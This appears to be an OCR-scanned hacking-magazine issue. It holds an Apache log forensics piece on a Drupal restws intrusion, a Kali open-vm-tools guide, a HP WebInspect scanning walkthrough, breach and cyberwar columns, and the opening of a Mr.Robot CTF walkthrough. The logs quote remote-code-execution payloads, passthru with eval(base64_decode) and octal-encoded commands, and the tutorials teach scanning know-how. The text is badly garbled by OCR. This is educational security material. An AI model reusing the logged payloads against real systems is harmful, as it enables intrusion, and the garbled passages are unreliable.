assthru/php%20 - rs20%27eval ¥28base64_decode™28hk

2L yoBP3BoC CAVK10vIGVycmIyX3)1 cGIydGluZygwK TsgIGLwIDAgIZAUMCAwL § AnOyAKc GIydCASTDQBNDQ7 IGmICH

06 369 "-" "Mozilla/4.0 (compatib
92.168. 199 138 - - [05/0ct/2016:1
sihn = 0%27eval%28base!

=

2%29%29%3b%27 HTTP/1.1" 208 297 “-* "Mozilla/4.0 (compatible; MSIE 6.8; Windows NT 5.1)"
92.168.199.130 - [06/0c1/2016:15:21:24 +853@] "GET /index.php?q=taxonomy_vocabulary//
assthru/print M0%27\\171\\154\\167\\130\\ 107 \\113\\154\\123\\121\\163%27 HTTP/1.1" 260

68 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

92.168,199.130 - - [686/0ct/2016:15:21:37 +0530] "GET /index.php?q=taxonomy_vocabulary/
assthru/phph20 - re20%27eval ¥28basetd_decodeh28%

2L yoB8P3Boc CAVKiovIGVycmIyX3)1cGIydGluygwk Tsg)GlwIDAgI zAUMCAwL | AnOyAkc GIydCAIDQONDQ7 IGImICH
Z%29%29%3b%27 HTTP/1.1" 268 297 "Mozilla/4.0 (compatible; MSIE 6.8; Windows NT 5.1)"
92.168,199.130 - - [06/0ct/2016:15:32:44 +0530) "GET /index.php?q=taxonomy_vocabulary//
assthru/print 2027\ 161\\156\\117\\172\\157\\ 121 \\171\\176\\ 143 \\155%27 HTTP/1.1" 288

08 "-" “"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

§2.168.199.138 - - [06/0ct/2016:15:32:47 +6538) “GET /index.php?q=taxonomy_vocabulary//
assthru/phph20 - rv20%27eval ¥28basetd_decode%28%

2L yo8P3Boc CAvKiovIGVyemIyX3J1 cGIydGTluZygwkTsgIGLwIDBgIzAUMCAw § AnOyAkc GIydCASTDQONDQ7 IGImICH
ZR29%29%30%27 HTTP/1.1" 200 297 "Mozilla/4.0 (compatible; MSIE 6.8; Windows NT 5.1)"
92.168.199.136 - - [06/0ct/2016:16:04:43 +8538) "GET /index.php?q=taxonomy_vocabulary//
Asethri/nrint FAPAR27\) 1 14\\ 12611 1420V 1ASAL 1 1AV 1 150V 1A4VA 1430\ 17100 1260\ 1A4%27 HTTP/1 1*
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So the hacker first scanned for the CMS being
used, then searched the modules, found some
vulnerable modules and exploite them to get a--
-ccess into the site. Maybe the exploit on the c-
-oder module didn't work so he targeted the
restws module and succeeded.

But that doesn't explain one thing. This ex-
-ploit only gives web user (www-data) privileges
to the hacker. This user doesn't have privileges
to dump the database.

The manual analysis of the apache log file
can be a gargantuan and gruesome process.
We have lot of automated tools forthis purpose
like Webalizer, AWStats etc. But we will learn
about a new tool named scalp today. We will le-
-arn about installing and log analysis with this
tool in the next issue.

(To Be Continued)
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INSTALL OPENVM TOOLS IN KALI LINUX

If you have installed any virtual machine in Vm-
-ware Workstation, you should be definitely ha--
-ve knowledge of what Vmware tools are. In th-
-eir own words,

"VMware Tools is a suite of utilities that
enhances the performance of the virtual machi-
-nes guest operating system and improves ma-
-nagement of the virtual machine. Without VM--
-ware Tools installed in your guest operating sy-
-stem, guest performance lacks important func-
-tionality.

Installing VMware Tools eliminates or
improves following issues:
>Low video resolution
>|nadequate color depth
>Incorrect display of network speed
>Restricted movement of the mouse
>|nability to copy and paste and drag-and-drop
files
>Missing sound
>Provides the ability to take quiesced snapsho-
-ts of the guest OS
>Synchronizes the time in the guest operating
system with the time on the host."

Open a terminal and locate the "sources.list"
file. Open the "sources.list" file with any text ed-
-itor. Here | opened it with the Vi editor. The co-
-mmand is "vi /etc/apt/sources.list"

But as of September 2015, VMware has [REi8

recommended using the distribution specific
open-vm-tools instead of the VMware Tools pa-
-ckage for guest machines. This means that in-
-stead of Vmware tools, the users should install
openVM tools specific to the guest OS.

But what is the difference between Vmware

Tools and OpenVM tools? Vmware tools conta- :
-in both open source and closed source packa-- §

-ges while OpenVM tools contain just the open
source packages.

Today we will see how to install OpenVM §

tools on Kali Linux guest in Vmware Workstatio-
-n. Although this guide is made for Kali Linux, t-

-he process is same for almost all Linux guests

in Vmware workstation.

The makers of Kali Linux have made
changes to the latest Kali rolling kernel in acc-
-ordance with the OpenVM tools.OpenVM tools
have all the needed functionality such as file c--
-opying, clipboard copy/paste and automatic
screen resizing. Now let us see how to install
OpenVM tools in Kali Linux rolling 2016.

When the file opens, type "i" to get into insert
mode. You cannot make changes to this file un-
-less you get into insert mode.

ot amd64 LI

amdeé4 LIV

Once you are in INSERT mode,type text

"deb http://http.kali.org/kali kali-rolling main
contrib non-free" without quotes.

Hit ESC, then hit SHIFT and type ":wq".

Hitting ESC will take the editor out of INSERT
mode and ":wq" will write changes to the file, s--
-ave it and close the file.



contrib no

-rolling main

(" HACKSTORY )

| remember reading somewhere. We would fig-

-ht the third world war with nuclear weapons a-

-nd the next world war with bows and arrows.
Whoever said that didn't expect the gro-

| -wth of the role of the fifth domain in modern w-

Then type command apt-get install open-vm-
tools-desktop fuse to install OpenVM tools.
When the system asks if you want to continue,

After installation is over, reboot the system and
OpenVM tools should be successfully installed.

‘---A.u

You should be able to go into Full screen mode
without any problem now.

( Problems/Fixes )
If installing OpenVM tools doesn't resize
the display of Kali 2016.1, select the
option "Autofit Guest" under View-
>Autosize.

If that doesn't solve the problem,
increase the video memory from 4MB to
32MB in virtual machine settings.

If you face any other problem while
installing OpenVM tools, send a mail to

L ga@hackercool.com

-arfare. Land, air, water and space are consid--
-ered the four domains of war while the cyber
space is considered the FIFTH domain of warf-
-are by military strategists.
As more and more computers get conne-

-cted to internet and most of the critical infrastr-
-ucture of the nations gets digital, there is alwa-
-ys a danger of hackers from enemy nations ta-
-rgeting their rivals civilian infrastructure or the
military infrastructure services during wartime.

This type of attack was witnessed during R-
-ussian war on Georgia in 2008. During the wa-
-r, the Russian hackers (allegedly) targeted the
Georgian government servers.

There is no strict rule that this cyber war wi-
-Il be fought only during wartime. For example,
take the recent case of Democratic National C-
-ommittee (DNC) emails leak which were publi-

B -shed by WikiLeaks. The leak included 19,252

emails and 8,034 attachments of the DNC me-
-mbers from the DNC, the governing body of t--
-he United States' Democratic Party.The leak i-
-ncludes emails from seven key DNC staff me--
-mbers and prompted the resignation of some
DNC members.

A hacker named Guccifer 2.0 (a moniker m-
-odeled after a Romanian hacker) took credit
for the hack but investigators point their finger-
-s at hacker groups with ties to Russian gover--
-nment. A cyber security firm ThreatConnect
suggests that Guccifer 2.0 is simply an inventi--
-on of the Russian government to deflect atten-
-tion from its involvement in the breach.

But why will Russian government do that?
The leak did not have any valuable information
but caused a bit embarrassment. However it is
the timing of the leak that arouses suspicions.
The leak happened just before the Democratic
campaign started. Many analysts assume that
the Russian government was trying to influenc-
-e US election with this leak. We have to watch
as to what impact this will have on the election.



NOT JUST ANOTHER TOOL
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HP WEBINSPECT- Automated WAPT Scanner

)

Web application penetration testing refers to
evaluating the security of websites and web ap-
-plications. Websites evolved from being simple
static HTML pages to incorporate complex dyn-
-amic features with bells and whistles. These b-
-ells and whistles also brought with them lot of
vulnerabilities and thus websites became com--
-mon targets for hackers. So web application p-
-enetration testing is considered very important
nowadays.

Web Application Peneteration Testing (WAPT)
could be performed manually or through autom-
-atic tools. Automated tools provide lot of adva--
-ntages over manual testing most important be-
-ing the speed. HP Webinspect is one such too-
-l.

Many companies use this tool for WAPT.
Chances are if you are in the field of webapp
security, you will definitely have to use this tool.

Today we will learn everything about the
usage of this tool from installation to configurat-
-ion. We will install it in Windows 10. HP Webin-
-spect needs SQL server express 2012 databa-
-ase, so we will start with installlation of SQL s--
-erver express 2012. Download SQL server 20-
-12 express from https://www.microsoft.com/en-
in/download/details.aspx?id=29062.

Right click on the downloaded file and run
with administrator privileges. The below window
should open. Click on the "New SQL server sta-
-nd alone installation" option since we are insta-
-lling a new version of the database server.
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Accept the license terms and click on "Next".
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Most probably the server will update to service
pack 1. Leave it to update and after successful
update, click on "Next".
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Click on "Install". The installation process will s-
-tart. As it will download setup files, it will take
some time.

tnstall Setup Files
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It will prompt you to select the features you



want to install. If you are not sure what you wa-
-nt, just leave the default selection and click on
"Next".
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If you want to send any information about errors
to Microsoft, select the option and click on
"Next".

The Instance configuration window opens. Lea-
-ve the default options and click on "Next".
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Click on "Next".
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Configure the authentication for the SQL server.
If you have no idea, once again leave the defa--
-ult options and click on "Next".
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The installation progress will end with the below
window. Congrats, You have successfully insta-
-lled SQL server express 2012 in Windows 10.




Now we will see how to install HP Webinspect
in the Windows 10 machine in which we just in-
-stalled SQL server express 2012.

Download the latest version of HP Webinspect
from their website. We will use version 16.10 f--
-or this tutorial. Right click on the downloaded
file and run with administrator privileges. The i--
-nstallation wizard will start with the welcome
message as shown below. Click on"Next".

ﬁ HPE Security Weblnspect 16.10 Setup — *

Welcome to the HPE Security WebInspect
16.10 Setup Wizard

>

The Setup Wizard will install HPE Security WebInspect 16,10

W on your computer, Click Next to continue or Cancel to exit
the Setup Wizard,
] :
(- 'L ni
| B

Cancel

Back

After we click on "Next" we get EULA window.
As everybody knows, this is the End User Lice-
-nse agreement. Select the checkbox "Accept
the license agreement" and click on "Next".

£ HPE Security Waklnspest 1610 - o

e Confipraton
Configure Webirspect as o Sensor for i nstallabon (opborsd),

[ corfigure Weblnspect as & Sensor

Coroel

= Back

8l HPE Security Weblnspect 16.10 Sebup - =
End-lser License Agresment
Pisaas e e Sdovang boerse sgresment caretuly W}
ipplicability. This end user lipense agresment |the “Agresment™] A

governs the use of accomparying softwars, undess i ks subjectto s
separaie apreement between you and Hewlelt Packand Enferprize
Compasy and Iks subsidiaries {"HPE'). By ooemioading. copying or
ucing the softemre you sgree bo thic Agresment. HPE provides
trarsiations of this Agreement in certain |anguages other tham English,

wrhich ey e found et bitp /e hoe com.sofiwere/SWLiensing,

2. Terms This Apgreement |t ludes supposting material acoompariging
the software or referenced by HPE, shich may be software licerse
information, additicrmal lcense authorizations, softeare

sescifications, publishnd warrartiss, supglier brms. codn SOWCE o

[11 moc=pt the terms in e Licenoe Agresment

Print Cancel

et |[wme |

Next, it will ask you as to where the HP Webins

-pect program should be installed. You can cha-

-nge the installation folder if you want although
keeping it default will not hurt. Click on "Next".
— " s If you want to setup

— -lect the sensor option and
click on "Next".

\Webinspect as a sensor, se-

Click on "Install" to start the installation process
as shown below.

{8l HPE Security Webinspect 16.70 S=bup - =
Ready to install HPE Security WeblInspect 16.10 "\:'?"
Chck Irwiall tn bagn the retaliabon, Chek Back 1o revew or change any of your
ol aon pettngm, Ok Cancel 1o sl the wigard,
= carc

Once the installation is over, it will show you the
below window. If you want to start HP webinsp--
-ect, select the option and click on "Finish".

ﬂ HPE Sicie ity Walilng pact 16,10 Stuip - s

Completed the HPE Security WeblInspect
16.10 Sebup Wizard

Chke 'Fre Finish bution 8o et the Seup Venard,

] Lawnch HPE Seaiby 'Webinspect 15,50

Ere |

The program will launch. But if you get an error
or something like below, it's because you have
no SQL server installed on your system. Install
SQL server express and relaunch the program.
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o SQL Server Express |s Not Installed

Weblrspect could not detect a boral SOU Seneer Express anstallation
{ you contirue o use Webinspect at this time, you will be
prompted o anter remote SOL Server detabase credertisi

Flease choose ane of the following

&l Run Wisblnspect ngew and anter reencte ST Saneer craderiak

Clage Wetlnipest 4nd manially watall 0L Expreds
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But if everything went right and your program h-

-as launched successfully, the program will pro-
-ompt you for activation as shown below. But it
also offers a 15 days trial. | have registered for
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Once the registration process is over, the progr-
-am will open as shown below. Update the pro--
gram. We have successfully installed HP Webin
spect in Windows 10.

Since we have finished installing HP Weblnspe-

Ak :fiaal

Wihat's mevw i Webinspest 16.10

[

Bty s g o by

-ct now we will see how to perform web app pe-
-ntesting with HP Webinspect. But before that
a small introduction to Webinspect.
Webinspect is an automated web appli-
-cation security scanning tool.It helps the secur-
-ity professionals to assess the potential vulner-
-abilities in the web application. It is basically a
dynamic black box testing tool which detects th-
-e vulnerabilities by actually performing the att--
-ack.
It is basically an automated dynamic
application security testing (DAST) tool that mi--
-mics real-world hacking techniques and attack-
-s, and provides comprehensive dynamic analy-
-sis of complex web applications and services.
Now let us see how to perform website vul-
-nerability assessment with HPWebinspect. Op-
-en the program and click on basic scan. We w-
-ill see other scan options in the following parts
of this tutorial. As its name implies, this option
performs a basic security scan on a website.
As we select the basic scan option, the "scan

Start a Basic Scan
¥ Scan a single Web ste for vulnerabilities. e rity Weblnspect 16.10 =
ity Fortify Software Security Content 2016 Update 2 -

Start SmartUpdate

Update security checks and palches.

ﬁ License Alert

License will expire in 15 days.

wizard" opens. As we are using a trial version of
HPWebinspect we will be only allowed to scan
the website deliberately provided by HP for this
purpose. This website simulates a bank ( nam--
-ed zero bank ) and this will be our target from
now on.



Below the scan name option, we have features
with radio buttons. Let's see what are each of t-
-hese options.
crawl:- This process makes a list of all the pag-

-es on the entire website and builds its structur-

-e.

auditing:- Auditing is the process in which
HPwebinspect will attack the website to find out
the vulnerabilities.

Here, | have selected the "crawling and auditin- |  rem e

-g" option. HP Webinspect provides four types
of scans.

Standard scan:- Normal scan.

List Driven scan:- You can specify the list of
urls for the tool to scan. It will only scan those
urls.

Workflow Driven scan:- Similar to list driven s-
-can. You can scan a port of your website by
specifying a macro.

Manual scan:- You can specify each link you
want to scan. step by step.

recommends best configuration for the sca--n.
You can select the option. We will see more
about profiler later. There are some other settin-

&4 Scan Wizard 7 %
p Detailed Scan Configuration Step 4 of 5
Review profiler recommendations and configure specific settings,
Profiler

The profiler samples your web site and makes configuration recommendations to best scan your web site. These recommendations are added to the
details section below.

[ Run Profiler Automatically | Profile |

Settings

l I This section deals with the way information is gathered for a scan.

[ Auto fill web ferms during crawl

Weblnspect submits values for input controls found on all forms. The values are extracted from a file you create using
the Web form editor. Click Load to spedify the file containing the values you want to use.

(default) toad ... | [ Edit.. Create...
Add Allowed Hosts 20f6
ppropriate hosts to add to th

™ Some URLS on the site might have host names that refer to sub-applications o related appications. You should review the list =
F and choose th ¢ allowed hosts setting. This will ensure that you scan the entire applicati

A e R (/1RO ¢ P

Settings (Default) = [ <Back | [ Next> Cancel

-gs. Leave them to their default settings and
click on Next.You will get a congrats message
telling about the successful configuration of
scan settings. It's time to start the scan. Click

To start scanning, we need to specify the websi- on "scan".

-te you want to scan and click on "Next". (As |
already told you, the trial version can only scan
one website.)

4 Scan Wizard ? X

"~ 4 Web Site Scan Step1of5
Perform a scan of the target application. ‘

Scan Nam{: ite: hitp://zero websppsecurity.com/

Crawl Only ® Crawl & Audit Audit Only Manual

 Standard Scan
Weblnspect performs an automated analysis starting from the target URL.
Start URL: | hitpi//zero.webappsecunty.com/
Browser: Internet Explorer [] Restrict to folder:

List-Driven Scan

Perform 3 s6AR sing a list of URLS. These URLS can be listsd in & txt file or an XML file created by the harvest toof

Workflow-Driven Scan

Use a macro to navigate the application and perform an automated analysis.

Macro: @ Record...| |Mana

Settings (Default) ~ Next > Cancel

In the next window, you will be prompted for au-
-thentication. If your website or network require-
-s authentication, provide them. Choose if you
ant network
Q?"f."f"fff“ff T Efs proxy or not and
i — . click on "Next".

[AS—p——

e _ The profiler
""" automatically

samples the

website and

4 Scan Wizard 7 X

¢ Congratulations! Step5of 5
\ You have successfully configured scan settings. Click the Save link to save these scan settings or the Scan button to start your scan.

Save Settings

Save scan settings for later use.

0

[ <Back Scan Cancel

The scan will start as shown below. It will take
some time dependent on the size of the website

3 HPE Secunty Weblnspect - o x
File Edit View Teols Scan EnterpriseServer Reports  Help
carc /R 5 Compare | ) New =[5 Open - (g Compliance Manager [ Policy Manager |77 Repor: 4
“Sanpags” 1 abx
———
| Netwrork «
| [(Audited: 0 a0
Smart Audited: 0 of 0
= Analysis
Session Info. Verified: 0 of 0
Host Info Reflection Audited: 0 of 0
Vulnerabilities
(7 XE3
e
H & an Y
Seicuies o] Gatonen v - S— —
) see
5] Sequence
* | Vuinerabilities | @ Information | [7] Best Practices | || Scan Log | #) Server Information




bl

you are scanning.

After the scan is finished, it will show the results
as shown in the image given above. This tool c-
-lassifies vulnerabilities into critical, high,
medium, low and info.

Now we will go through analysis of these
vulnerabilities. Wait, but why do we need this a-
-nalysis?Just because we have used an autom-
-ated tool doesn't mean it is cent percent effect-
-ive. There may be lot of false positives and in
the worst case false negatives. The threat it sh-
-ows as critical may not be really that dangerou-
-s or a threat it shows as medium may be critic-

(4 HPE Security Weblnspect = o X
Jo £t View Tooh [EntepricServer Reports  Help

| Mew - [ Open = | R Compliance Menager [£5] Palicy Maneger 3] Report (<) Schedule AgH SmartUpdate

Manage Scans | Manage Schedule |8

Recently Opened Scans cear list
',j Start a Guided Scan St arh
9 Create

te 2 scan that i aptimized for your Web site.

) Scans Scheduled for Toda:
Start a Basic Scan e e

Scan a single Wb sk for winerabilties. .., Weblnspect Messages

Welcome to HPE Security WebInspect 16.10

Start a Web
- What's new in Weblnspect 16.101 -~

>

=3

Hewlett Packard
Enterprise

What's new in Weblinspect 16.10

MNew features and enhancements

Mew things to check out in the tools menu

delete | HPE Security Fortify Software Security Content 2016 Update 2

HPWebinspect.

u| Before we perform analysis, let us get familiar
with the interface of HPWebinspect.To the down

left, we have view options of the scan (site and
sequence). The "site view" shows us the hierar-
-chical structure of website we just scanned wit-

7 -h vulnerabilities found highlighted as shown b--

-elow to the left. We can see in the above imag-

1-e, that the account part of the website has a c-

HPE Security Weblnspect - o x
y P

an  EnterpriseSenves  Reports  Help

bt | @R+ | Compare

() Hew -

| verified: 0 of 0

| Reflection Audited: 0 of 0

Vulnerabilities
—-.‘—‘s’l. - v

>

e it 2 - @ W =

Meshod | Vuln Param

Parameters | Kengdom Agplication

73 sequence

-ritical vulnerability.
The sequence view shows us the order in
which Weblnspect scanned the URLSs. It is sho-

: 1-wn below.
! 1 Occupying large area of the interface is the Sc--

-an dashboard with a pictorial representation of
vulnerabilities. It also has vulnerabilities classifi-
-ed into its attack types (how exactly these vul--
-nerabilities can be expoited).To its left, we hav-
-e sections called scan info, session info and h-
-ost info. The scan info has four options : dash--
-board, traffic monitor, attachments and false p-
-ositives. We have already learnt about dashbo-

-al depending on the situation.
The analysis is very important part of WAPT.
Let us see how to perform this analysis with

a HPE Security Weblnspect - o x
File Edt View Took Scan EnterpriseSenver Reports  Help
[ Start / Resume [[] Pause i it | @ Rescan « | Af Compare | ) New 25 Open « | (4 Compliance Manager [Ef] Policy Manager 5] Report i
~ StartPage’ 40 x|

T

) Scan Dashboard

e e

Network

Vesified: 0 0f 0

| Reflection Audited: 0 of 0

Vulnerabilities
>
Wter cris (7 R
Methos v meers Kingoom appicanen

[ @Exciuded st D Atowed e

] she

93 sequence

* | @ Vulnerabilties | @ Information | 7] Best Practices | 1} scan Log | & Server Information

U5 Sequenae

2 | @ vulnerabiiities | @ Information | 7 Best Practices | |- Scan Log | 4 Server Information

-ard, others are self explanatory.
Below scan info we have have session

{info. It is empty because we didn't include any



sessions in our scan.

Below session info, we have the host info
which is obviously information about the host

the interface which is right down below the pro-
-gram. These are the vulnerabilities found duri--
-ng the scan. As already said, these are classif-
-ied according to the level of danger posed by

&4 HPE Securiy Weblnspect - o x
File Edit View Tools Scan EnterpriseServer Reports Help
[ Start / Resume wip G aust | @ Rescon = (& Compare |*| ) New « 55 Open + | 4 Compliance Mansger [&] Poicy Manager 5] Report i
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we scanned. It will provide us info like P3P info

2 HPE Security Weblnspect
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them. We need to analyse each vulnerability to
see the vulnerabilities and check if there are a--
-ny false positives.

In this howto, we will cover analysis of one or

8 HPE Securty Webinspect

Fle Edt View Took Scan EnterpriseSever Repors Help

(3> Start/ Resume.

Pause [ Siip @A Rescan -

&f cCompare | ) Mew - (15 Open - | (& Compliance Manager [5] Poficy Manages 7] Report

I
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(protocol allowing websites to declare their
intended use of information they collect

about users) , AJAX, certificates etc, etc, etc.
Let us look at the cookies collected by the sca--
-n.

We can also see the emails we found during s--
-can.

Also the forms on the scanned website.
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two vulnerabilities. Expand the "critical" section
of vulnerabilities. We can see that there is a
XSS vulnerability in the search page. We will
analyse this vulnerability.

When we click on a particular vulnerability, the
dashboard will show information about the part-
-icular vulnerability (in our case XSS) and info
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about how hackers might exploit this.

Scroll down the dashboard to get more info ab-
-out the vulnerability. We can see the exact qu--
-ery used by the tool to get the result. In this ca-
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Right click on the vulnerability and select the
option "Review vulnerability" as shown in above
image. This is helpful in knowing more precisely
about the vulnerability.

Another window will open as shown below.
will automatically show you the browser view.

3 Review Valnerabiltics 7 X

It

http:/,

Vuinerability to Review: | @ Cross-Sits Scripting; Refiected > Retast ff Markas @ Options.. [§ SendTo ) Help

Brouser | Request | Response | Vulnerabiity | attachments |
Srowser View: 54 50%74% 35485 T0%
21"
Original Browser View
Zero Bank + Signin A

HOME ONLINE BANKING FEEDBACK

Search Results:

No resuits were found for the query: 12345

Steps to Reproduce

-se, our target is using tag removal to prevent
XSS but we can bypass using the query given
below. (We will learn more about XSS and its
evasion filters in our future issues)

Now right click on the vulnerability we are anal-
-ysing. In the menu that opens, click on "View
in Browser" to see this exploit in action practic--
-ally in the browser.

We can see result of exploit working in browser
below. In this case, it is displaying a message

b & hitp://zero.webappsecurit., O = X || © zero.webappsecurity.c.. * | BT Intemet Explorer Welcome
Zero Bank
HOME ONLINE BANKING FEEDBACK
= Message from webpage X
Search Results:
No results were found for the query: I 5512
|

box with a number but hackers can use it to
display cookies and session ids. Hence this is
definitely a critical vulnerability.
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uaL Post Parameters Source. Attack Parametes Response Match Status
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Form Target
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Ready

We can click on "Request tab" to see the
request sent by our tool.

&Y Review Vulnerabilities ? X

Vulnerabllity to Review: @ Cross-Site Seripting: Reflected | [> Retest f§ maricas dh Options... (§ SendTo @ Help

Attachments

Browser | Reauest | Response | Vulnershibty

i38.9) Gecko /29108181 Firefox/30.0

3 SessionTypes"AligitATtack"; Cra

Steps to Reproduce
URL

Post Parameters Source Attack Parameter Recponse Match Status
hetp/fzero webeppsecurity com 8/ Start Location

i Form Target

et Attack searchTerm

Similarly the response tab shows us the respo--
-nse given by the target.

Y Review Vulnerabiltes L
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Browser | Request | Response | vuinerabiity | Attachments |
Response
TR/ 208 Gk —
Dot
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Steps to Reproduce
URL Post Parameters Source Attack Parameter Response Match Status.
httpa//zera.webappsecurity.comiB0/ Start Location
Form Target
Aack. searchTerm
23 Review Vuinersbilities 7 %
http:/, 23
Vulnerability to Review: @ Cross-Site Seripting: Reflected = [> Retest # markas dh Options.. [§ SendTe @ mep
Browser | Request | Response | Vunerabiity | Attachments
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L B
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Steps to Reproduce
URL Past Parameters Source Attack Parameter Response Match Status
itpi/zero.webappsecurity.com80/ Start Location
Form Target
Attack sesrchTerm




We have already seen this before in the dashb-
-oard. The "vulnerability tab" give us informatio-
-n about the vulnerability and how hackers mig-
-ht exploit it. There are also options like "Retes-

I HPE Secudity Weblnspect — o x
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-t" and "Mark as". The Retest option allows us
to test the vulnerability again. We shall see the
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"mark as" option.

Close the window. Once again right click on
the vulnerability. You can see the option "chang-
-ge severity". For instance, the vulnerability det-
-tected by HPwebinspect is not that critical, we
can change its severity suitably to high or medi-
-um or low.

L4 HPE Security Weblnspect - 0O Xx

a0 Enterprise Server  Reports  Help

idt | @Rescan ~ (U Compare || ) Mew + (25 Open | (g4 ComplianceManager (5] Policy Mansger 5] Report

SR £ session Vulnerabilities: hitp:/ | zero.webappsecurity.com/ sendFeedback.htm

Summary: Cross-Site Scripting: Reflected
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Now what if the vulnerability detencted is not
an actual vulnerability. This is known as false

posit--ive. For example, we have this send

8 Review Vulnerabilties ? X

Vulnerability to Review: | i@ Cross-Site Scripting: Reflected Retest W Mark As @ Options.. [ SendTo @ Help
o [ e e e ﬁ
& -
Feedback

Thank you for your comments
Service staff and given the fi

Steps to Reproduce
URL Post Parameters Source
hitge//zerowebappsecuity.com:B0/ Start Location
hitge/zere wabappsacusity comB0/feedback ntml Page fram Script
desu Form Target

Attack Parameter Response Match Status

_v feedback page of the target website. Let us

assume it is just a false positive. In that
scenario, just below the "review vulnerability"
opti
Description: on

' we
hav
e
"Ma
rk
as
opti
on.
We
can
also
acc
ess

Mark as False Positive T *

URL
http://zero.webappsecurity. com/sendFeedback.html (...

ulnerability
Cross-Site Scripting: Reflected

< >

[] Send to HPE Support

Check None oK Cancel

1 this option from the "review vulnerability"

window as already shown above. When we
click on that option, we get two sub o--ptions to
mark it either as false positive or to completely
ignore the

| VUInerability.
[We can only
ignore the vuln-
|erability if it do-
-esn't pose any
valid threat. We
can also provid
-e some descri-
ption about why we are marking it as false posi-
7-tive or ignoring.

e ——— When we have
S |successfully finish--
D -ed reviewing each
STk vulnerability, it's
— time to write the pe-
= netration testing re-
e = -port. (Continued )




To automatically generate a report, click on "Reports" tab. the scan for which you want to gener-
-ate the report a-nd click on "Next". Select whatever you want to include in your report as shown
and click on Finish.The report generation takes some time depending on the options you selecte
-d. That's all folks. Hope it will be helpful for you.

(hackercool.com)

Red Cross Australia

HACK OF THE MONTH

What?

Being called the largest infrastructure breach in
Australia, the data of over 550,000 blood dono-
-rs has been leaked. The leaked data consists
of names of donors, addresses, dates of birth,
blood types, phone numbers,email, gender and

date of last donation. There are reports even th-

-eir sexual orientation and their last date of inte-
-rcourse have been leaked. The
donor data is from year 2010 to
2016.

Who?

An anonymous user who allege-
-dly didn't have any malicious
intentions. (We know nothing
more about him or her)

How?
The breach reportedly occurred
when the random user was scan
-ning for publicly accessible directories on the
website. He came over a .sql (for more on this,
refer REAL TIME HACKING SCENARIO in the
Hackercool OCT 2016 issue) file which is the
backup of the database of the donors. It seems
the developer of the site has mistakenly placed
it there.

Impact

As far as the reports are concerned, the dat-
-a didn't fall into wrong hands and the anonym--
-ous user deleted the dump he got ( we can
trust only on his word by now). Now let's
assume what would have happened if the data
fell into wrong hands. There are no reports of
any password leak but the leak of emails and
phone numbers means the users may be
victims of spam in the near future.

One important concern is the leak of a lot of
personal data. Mr Hunt, the security researcher
to whom the data was sent said the data includ-

-ed answers to a number of eligibility questions,
which have to answered in true or false.

For example, there was a question aski-
-ng donors whether they had engaged in "at-ris-
-k sexual behaviour" in the previous 12 months.
"Both the questions and answers mapped to th-
-e individuals were part of the dataset. That wo-
-uld be one of the most sensitive things in the
breach, especially if you answered in the affirm-

-ative," Troy Hunt said.

Aftermath
After teh hack, the Red Cross
has been in contact with Austral-
-ia's Cyber Security Centre. The-
-y assured that the leak did not
include deeply personal data. If
you are a Red Cross donor and
are doubtful that you might have
been affected by the breach,
please go to the following link,
the Red Cross have setup.
http://info.donateblood.com.au/

Lessons to be Learnt

Keeping a backup of the database is a good pr-
-actice and can be very helpful when your data-
-base has been deleted by the hackers or othe-
-rwise. But it would be a terrible idea to keep
the backup on the same website or for that ma-
-tter on the same machine.

This was a publicly accessible site and
and worse still directory browsing was enabled.
If directory browsing was disabed, this would h-
-ave never occured. This was a pure case of h-
uman error. In this particular case, | remember
the dialogue that comes during the post-credits
of the movie Terminator Salvation

"What makes us human?
We can't just simple be
programmed.”



Mr.Robot

CAPTURE THE FLAG

Capture The Flag exercies present one of the i-
-ngenious ways to practice real life hacking. Bu

-t what exactly is Capture The Flag. Well | could |
have explained it in my own words but Wikiped- |z

-ia has the better explanation.

According to Wikipedia, "In computer sec-
-urity, Capture the Flag (CTF) is a computer se-
-curity competition. CTF contests are usually d-
-esigned to serve as an educational exercise to
give participants experience in securing a mac-
-hine, as well as conducting and reacting to the
sort of attacks found in the real world. Reverse-
engineering, network sniffing, protocol analysis,
system administration, programming, and cryp-
-tanalysis are all skills which have been requir-
ed by prior CTF contests at DEF CON. There
are two main styles of capture the flag competi-
-tions: attack/defense and jeopardy."

So CTF generally involves hacking into or
protecting the system, and it involves capturing
some flags in the process. It is not compulsory
that we need to participate in a contest to capt--
-ure flags.

In this issue, we will see a CTF walkthroug-
-h of Mr.Robot-1 CTF. If the name sounds
familiar it's from that favorite TV series on
hacking. So without delay, let's get into practical
hacking.

Download the Mr.Robot virtual image from
the link https://www.vulnhub.com/entry/mr-robot
-1,151/. You will get an ova fie. Now it's time to
import this file into Oracle Virtualbox.

Open Virtualbox. Go to File - Import applia-
-nce. A window as shown below will open.

o res——

‘

O s

Now, in appliance to import option, browse to
the location of the ova file we just downloaded

and select our ova file as shown below. Once t-
-he ova file is selected, click on "Import".

o B

- ettt
o
L -

Start the virtual machine. After startup, it will lo-
-ok as shown below.

Now it's time to start hacking. Let me tell you
that | am doing this in Vmware (although | shew
you how to set it up in Virtualbox). The process
is same in both Vmware and Virtualbox, | chose
Vmware for the ease it gives me in taking scre--
-enshots.

My attacker system is as always Kali Linux.
The first thing | do after firing up my Kali is find-
-ing out where my target system is. | do this by
using netdiscover.

root@kali: ~ 00

Since the Mr-robot-1 vm comes with Bridged




adapter, | guess the IP address we are interest-
-ed inis 192.168.1.102.So | start with nmap
SYN scan, although there is no need for stealth
here. The SYN scan says there are only three
ports open 80,443 and 22. So obviously there i-
-S a web server and ssh server running on our
target.

> address (1 host up) scanned in 5.45 seconds

Next let us finger print the servers for the server

technology they are using. This can be done by
grabbing the banners of the services running o-
-n the target. If the target is running any vulner-
-able service, we can use it to get access. So |

©-19 68:00 EDT

The verbose scan doesn't give me any satisfac-
-tory results. The only thing it tells us is that the
target webserver is Apache. Next, | go to the ta-
-rget website to see if | can find any juicy info t--
-here. But there | only got some papparazzi bel-
-onging to the popular tv show.

| think it's time to scan the website with nikto. A-
-s already explained in the Real Time Hacking

Scenario of the October 2016 issue of this ma--
gazine, nikto is a web server vulnerability scan-
-ner. It will scan the web servers for multiple ite-
-ms, including over 6400 potentially dangerous

files/CGls, checks for outdated versions of over
1200 servers, and version specific problems on

over 270 servers. It also checks for server conf-
-iguration items such as the presence of multip-
-le index files, HTTP server options, and will att-
-empt to identify installed web servers and soft-
-ware.

File Edit View Search Terminal Help

il As underlined by a red line in the above image,

